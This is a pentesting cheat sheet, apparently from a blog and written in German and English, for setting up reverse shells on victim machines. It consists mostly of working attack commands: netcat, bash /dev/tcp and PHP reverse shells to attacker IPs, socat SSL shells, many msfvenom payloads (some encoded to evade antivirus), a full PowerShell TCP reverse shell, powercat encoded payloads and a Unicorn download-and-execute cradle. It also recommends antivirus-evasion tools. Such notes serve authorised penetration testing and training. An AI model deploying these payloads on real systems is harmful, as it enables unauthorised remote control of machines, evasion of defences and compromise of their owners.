Reverse Shell ALT

IF THE METERPRETER SHELL STUCKS, TRY TO ENTER ENTER MULTIPLE TIMES ON THE VICTIM.

Aufbauen

Lausche auf einem System, dass erreicht werden kann z.B. mit

nc -lnvp 9998 [l=listen,v=verbose,p=port,n=no_resolution]

Initiiere dann die Verbindung vom Zielsystem. Hier ein Beispiel direkt in PHP:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'"); ?>

Anderes Beispiel, z.B. direkt in einer Konsole ausführbar:

nc -e /bin/sh 10.0.3.4 4444

Interesting other approach e.g. if nc. doesn’t has the ‑e flag:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc $attackerip 4444 1>/tmp/backpipe

Verbessern

rlwrap verbessert die Shell:

rlwrap nc ...

With socat and SSL

First, create a certificate and combine it into a PEM file.

openssl req -newkey rsa:4096 -nodes -keyout bind_shell.key -x509 -days 42 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem

Reverse shell on Linux, receiving on Windows

Then, bind a shell on Linux

socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash

And open it from Windwows

socat.exe - OPENSSL:192.168.119.158,verify=0

Reverse shell on Windows, receiving on Linux

Open the listener on Windows

socat.exe OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:'cmd.exe',pipes

Open it from Linux

socat - OPENSSL:192.168.119.158:443,verify=0

Windows

Upload nc.exe
Local: Start listener like
1. ```
rlwrap nc -lvp 4444
```
Remote: export shell like
1. ```
nc.exe -e cmd.exe 10.10.14.37 4444
```

Alternative

Upload nc.exe
Victim: Start the netcat listener
```
nc -dLp 4444 -e cmd.exe
```

Local: in Metasploit:

use multi/handler
set LPORT 4444
set RHOST $victim
set PAYLOAD payload/windows/x64/shell_bind_tcp
run

Mögliche Probleme

Wenn in einer Reverse-Shell die Passwort-Eingabe nicht klappt…

sudo: no tty present and no askpass program specified

… muss eine TTY shell aufgemacht werden. Möglichkeiten:

Generate

Binary executable for Linux:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.37 LPORT=4455 -f elf > shell.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.37 LPORT=4455 -f elf > shell.elf

Binary meterpreter executable for Linux:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.37 LPORT=4455 -f elf > shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.37 LPORT=4455 -f elf > shell.elf

Perl reverse shell

msfvenom -p cmd/unix/reverse_perl LHOST=10.11.0.174 LPORT=4444 -f raw

Python reverse shell

msfvenom -p cmd/unix/reverse_python LHOST=10.11.0.174 LPORT=4444 -f raw

PHP reverse shell

msfvenom -p php/reverse_php LHOST=10.11.0.174 LPORT=4444 -f raw

PHP meterpreter (Should this not work because a shell in meterpreter won’t work, use nc to export the bash to a local nc listener.)

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.11.0.174 LPORT=4444 -f raw

ASP-Reverse-Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.158 LPORT=4444 -f asp > s.asp

Tomcat/WAR reverse shell

msfvenom ‑p java/jsp_shell_reverse_tcp LHOST=<Local IP Address> LPORT=<Local Port> ‑f war > shell.war

PowerShell reverse shell

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.119.158 LPORT=443 -f psh --out reverse_shell.ps1

(If this doesn’t work, use the make_reverse_powershell.py script or the original from here.)

JSP reverse shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -f raw > rs.jsp

Dann mit Metasploit:

> use multi/handler
> set PAYLOAD php/meterpreter/reverse_tcp
> set LHOST 10.10.10.10
> set LPORT 4444
> exploit

Hex output: use ‑hex h.hex param

Windows

Windows reverse shell for metasploit:

msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.14.37 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/p32.exe
msfvenom -a x64 --platform windows -p windows/x64/shell/reverse_tcp LHOST=10.10.14.37 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/p64.exe

Windows bind shell (needs to have running nc ‑lvp 443)

msfvenom -p windows/shell_reverse_tcp lhost=192.168.119.158 lport=443 -f exe > root.exe

Windows reverse meterpreter shell for metasploit:

msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.119.158 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/p32.exe
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.37 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o /tmp/p64.exe

Windows reverse shell for nc:

msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o p32.exe
msfvenom -a x64 --platform windows -p windows/shell_reverse_tcp LHOST=192.168.119.158 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f exe -o p64.exe

If all of this doesn’t work, switch to nc binding!

Other sources for web shells: https://tools.kali.org/maintaining-access/webshells

Use GreatSCT if you have problems with anti-virus solutions.

PHP

Clevere Idee: Nur Download verursachen bei Ausführung, dann ist die Datei irgendwo vor Ort.

<?php system("/usr/local/bin/wget http://10.11.0.174/r.php -O /usr/local/www/apache24/data/r.php") ?>

PowerShell

Listen normally with nc, then, on the victim you can start a reverse shell handler natively:

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.T ext.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII ).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$c lient.Close()"

Alternative: Use Powercat on an own system. Create encoded reverse shell code as follows:

powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell. ps1

Start now a nc listener as usual. Then, on the victim, just execute the base64 encoded code:

powershell.exe -E ZgB1AG4AYwB0AGkAb...

Unicorn

Create reverse shell code

unicorn.py windows/meterpreter/reverse_http $local_ip $local_port

This creates a powershell_attack.txt.

Copy this file together with unicorn.rc in a directory.
Start metasploit with msfconsole ‑r unicorn.rc
In another terminal, start a web server which can deliver the powershell_attack.txt file
On the victim, execute the following
1. powershell “IEX(New-Object Net.webclient).downloadstring(‘http://local:port/powershell_attack.txt’)”
A shell is not open in Metasploit.

Aufbauen

Verbessern

With socat and SSL

Reverse shell on Linux, receiving on Windows

Reverse shell on Windows, receiving on Linux

Windows

Mögliche Probleme

Generate

Windows

PHP

PowerShell

Unicorn

Leave a Reply Cancel reply

About

Checklists

Categories

Checklists: Ports